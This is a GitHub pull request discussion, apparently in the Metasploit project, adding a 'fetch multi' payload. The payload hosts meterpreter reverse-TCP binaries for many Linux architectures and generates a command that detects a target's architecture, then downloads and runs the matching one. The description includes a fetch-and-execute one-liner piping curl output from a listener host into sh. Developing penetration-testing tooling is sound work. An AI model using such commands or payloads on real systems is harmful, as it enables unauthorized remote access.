-
Notifications
You must be signed in to change notification settings - Fork 14.4k
Add Fetch Multi payload support #20074
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
script | ||
end | ||
|
||
def _generate_bruteforce_multi_commands(arch_payloads = []) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I completely forgot I added this- my thought was that in the event that we were willing to trade stealth for simplicity, we would not bother checking the arch, and just try to run everything..... Not exactly subtle, but I ran into issues where the arch names were not really consistent, so this would mean it would just work
Probably adding an advanced option for brute forcing is they way to go
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe add a TODO
then, as this is a tad super-gross :D
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This doesn't look like it's referenced anywhere, and I'd be inclined to try and advance this without it as an option for MVP.
script | ||
end | ||
|
||
def _generate_bruteforce_multi_commands(arch_payloads = []) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe add a TODO
then, as this is a tad super-gross :D
def generate(opts = {}) | ||
opts[:arch] ||= module_info['AdaptedArch'] | ||
if opts[:arch] == ARCH_ANY && module_info['AdaptedPlatform'] == 'linux' | ||
# create a hash with all the arches and payloads |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
To me, it's unclear that this comment means :/ Do you mean a hashtable?
srv_entry = {} | ||
srv_entry[:arch] = arch | ||
srv_entry[:uri] = default_srvuri(arch.to_s) | ||
srv_entry[:payload] = generate_payload_exe(opts) | ||
@srv_resources << srv_entry |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
srv_entry = {} | |
srv_entry[:arch] = arch | |
srv_entry[:uri] = default_srvuri(arch.to_s) | |
srv_entry[:payload] = generate_payload_exe(opts) | |
@srv_resources << srv_entry | |
srv_entry = { | |
:arch => arch, | |
:uri => default_srvuri(arch.to_s) | |
:payload => generate_payload_exe(opts) | |
} | |
@srv_resources << srv_entry |
I think this is a bit more readable.
srv_entry[:payload] = cmd | ||
@srv_resources << srv_entry | ||
cmd = generate_pipe_command(pipe_srvuri) | ||
print_status("Pipe command: #{cmd}") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The pipe command isn't shown in the other branch of the condition, nor is the fetch
one. It would be nice to either print all of them, or none of them.
def os_arches(meterp_arch) | ||
# multiple `uname -m` values map to the same payload arch | ||
# we will probably need to expand this | ||
case meterp_arch | ||
when ARCH_AARCH64 | ||
return ['aarch64'] | ||
when ARCH_ARMBE | ||
return ['armbe'] | ||
when ARCH_ARMLE | ||
return ['armv5l', 'armv6l', 'armv7l'] | ||
when ARCH_MIPS64 | ||
return ['mips64'] | ||
when ARCH_MIPSBE | ||
return ['mipsbe'] | ||
when ARCH_MIPSLE | ||
return ['mips'] | ||
when ARCH_PPC | ||
return ['ppc'] | ||
when ARCH_PPCE500V2 | ||
return ['ppce500v2'] | ||
when ARCH_PPC64LE | ||
return ['ppc64le'] | ||
when ARCH_X64 | ||
return ['x64', 'x86_64'] | ||
when ARCH_X86 | ||
return ['x86'] | ||
when ARCH_ZARCH | ||
return ['zarch'] | ||
end | ||
@pipe_cmd = generate_fetch_commands | ||
@pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows | ||
vprint_status("Command served: #{@pipe_cmd}") | ||
cmd = generate_pipe_command | ||
else | ||
cmd = generate_fetch_commands | ||
end | ||
vprint_status("Command to run on remote host: #{cmd}") | ||
cmd | ||
end | ||
end | ||
|
||
def generate_pipe_command | ||
# TODO: Make a check method that determines if we support a platform/server/command combination | ||
@pipe_uri = pipe_srvuri | ||
def multi_arches | ||
arches = [] | ||
arches << ARCH_AARCH64 | ||
arches << ARCH_ARMBE | ||
arches << ARCH_ARMLE | ||
arches << ARCH_MIPS64 | ||
arches << ARCH_MIPSBE | ||
arches << ARCH_MIPSLE | ||
arches << ARCH_PPC | ||
arches << ARCH_PPCE500V2 | ||
arches << ARCH_PPC64LE | ||
arches << ARCH_X64 | ||
arches << ARCH_X86 | ||
arches << ARCH_ZARCH | ||
arches | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I'm not sure that this belongs in the fetch.rb
file, but I don't have a suggestion for where to put it instead :/
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I was giving some thoughts to offloading this bit to the multi payload entirely and having the payload return an array of payloads from only a single generate
call, but I'm concerned about that basically breaking everything.
We could also put this in rex-arch as linux_arches
or something like that.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I broke this out to a multi library with some of the other multi methods- not perfect, but it gets the fetch library a bit more manageable.
Check to make sure that the payload can be selected even if a specific arch target is selected. |
'timwr' | ||
], | ||
'Platform' => 'linux', | ||
'Arch' => ARCH_ANY, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This should really be the subset of architectures that are supported by generate.
# If I add an exit to this so that it leaves after launching, FETCH_FILELESS bash fails | ||
end | ||
end | ||
print_status(script) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This looks like it was left over from debugging. If it's necessary to keep it, can you add some context in a message so the user knows what they're looking at instead of just logging executable code?
print_status(script) |
script | ||
end | ||
|
||
def _generate_bruteforce_multi_commands(arch_payloads = []) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This doesn't look like it's referenced anywhere, and I'd be inclined to try and advance this without it as an option for MVP.
TL;DR
This adds a way to use fetch payloads on a Linux platform and have a single fetch command payload establish a session on a Linux host of unknown architecture.
Description
This PR does several things:
linux/multi/meterpreter_reverse_tcp
that supports dynamically changing the architecture for a payload during the module run.meterpreter_multi_linux
to handle a callback from a stageless Linux payload of unknown architecture.cmd/linux/http/multi/reverse_tcp
that when selected, creates and hosts stageless meterpreter_reverse_tcp payloads for all supported Linux architectures and generates a command to discern the architecture of the target host and then fetch/execute the correct payload.pipe_fetch
option, so you can get all this functionality with a tiny command likecurl -s http://10.5.135.118:8080/x|sh
Other
There are about a half-dozen ways to implement this, and this is probably going to be a draft for a while. We could revamp the http servers to accept a callback with the architecture the target needed, but that would require another set of communications, and this struck me as a bit simpler. Host all the payloads and let the target script get the right one.
I am sure there will be a lot of ways to improve the actual shell script created- I favored avoiding special characters over length since we support pip_fetch, but I'm by no means an expert at Linux shell fu, so I welcome suggestions for improvement on it any anything else.
This only works on single http fetch payloads right now, but until we get a consensus on behavior, I did not want to do too much work. It probably breaks the regular http fetch payloads, but that should be an easy fix.
I'm also seeing some issues with some architectures and FETCH_FILELESS. This may simply be due to the age of the devices or the specific shell they use, but I'll need to double-check that.
Finally, I apologize for the wall of text......
Using Regular Fetch Payloads
Using FETCH_FILELESS as `bash`